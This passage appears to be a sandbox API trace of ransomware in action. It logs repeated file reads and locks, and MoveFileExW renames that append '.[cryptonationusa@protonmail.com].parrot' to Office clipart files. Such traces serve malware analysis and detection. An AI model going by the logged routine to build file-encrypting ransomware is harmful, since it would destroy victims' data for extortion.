dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7dce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.530] CloseHandle (hObject=0x27c) returned 1 [0140.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.530] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.535] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb012, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.536] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.536] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.537] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.537] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaefa, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xaefa, lpOverlapped=0x0) returned 1 [0140.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.540] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.541] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb012, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.541] CloseHandle (hObject=0x27c) returned 1 [0140.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.542] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.545] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2e84, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.545] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.545] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.546] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.546] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2d6c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2d6c, lpOverlapped=0x0) returned 1 [0140.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.549] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.551] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2e84, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.551] CloseHandle (hObject=0x27c) returned 1 [0140.551] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.551] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.551] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.556] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2068, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.556] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.556] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.558] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.558] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f50, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1f50, lpOverlapped=0x0) returned 1 [0140.558] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.559] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.559] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.559] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.559] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2068, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.559] CloseHandle (hObject=0x27c) returned 1 [0140.560] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.560] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.560] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.563] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x82e6, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.563] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.563] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.564] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.564] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x81ce, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x81ce, lpOverlapped=0x0) returned 1 [0140.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.621] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.622] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x82e6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.622] CloseHandle (hObject=0x27c) returned 1 [0140.622] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.622] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.622] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.627] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2562, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.627] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.627] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.628] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.628] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x244a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x244a, lpOverlapped=0x0) returned 1 [0140.629] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.630] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.630] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.630] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.631] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2562, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.631] CloseHandle (hObject=0x27c) returned 1 [0140.631] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.631] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.631] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.635] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x46ba, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.635] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.635] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.637] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.637] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x45a2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x45a2, lpOverlapped=0x0) returned 1 [0140.637] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.638] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.638] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.638] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.639] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x46ba, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.639] CloseHandle (hObject=0x27c) returned 1 [0140.639] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.639] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.639] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.642] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x170a, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.642] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.642] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.643] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.643] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15f2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x15f2, lpOverlapped=0x0) returned 1 [0140.644] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.644] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.644] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.644] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.644] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x170a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.644] CloseHandle (hObject=0x27c) returned 1 [0140.644] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.644] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.644] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.647] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa89b, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.647] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.647] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.649] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.649] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa783, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa783, lpOverlapped=0x0) returned 1 [0140.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.651] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.652] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa89b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.652] CloseHandle (hObject=0x27c) returned 1 [0140.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.652] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.745] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x558c, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.745] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.745] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.746] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.746] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5474, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5474, lpOverlapped=0x0) returned 1 [0140.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.749] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.750] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x558c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.750] CloseHandle (hObject=0x288) returned 1 [0140.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.750] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.754] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa5a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.754] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.754] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.762] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.762] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa488, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa488, lpOverlapped=0x0) returned 1 [0140.763] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.764] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.764] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.764] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.765] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa5a0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.765] CloseHandle (hObject=0x288) returned 1 [0140.765] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.765] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.765] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.769] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x61f4, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.769] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.769] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.771] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.771] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x60dc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x60dc, lpOverlapped=0x0) returned 1 [0140.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.773] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.774] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x61f4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.774] CloseHandle (hObject=0x288) returned 1 [0140.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.774] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft 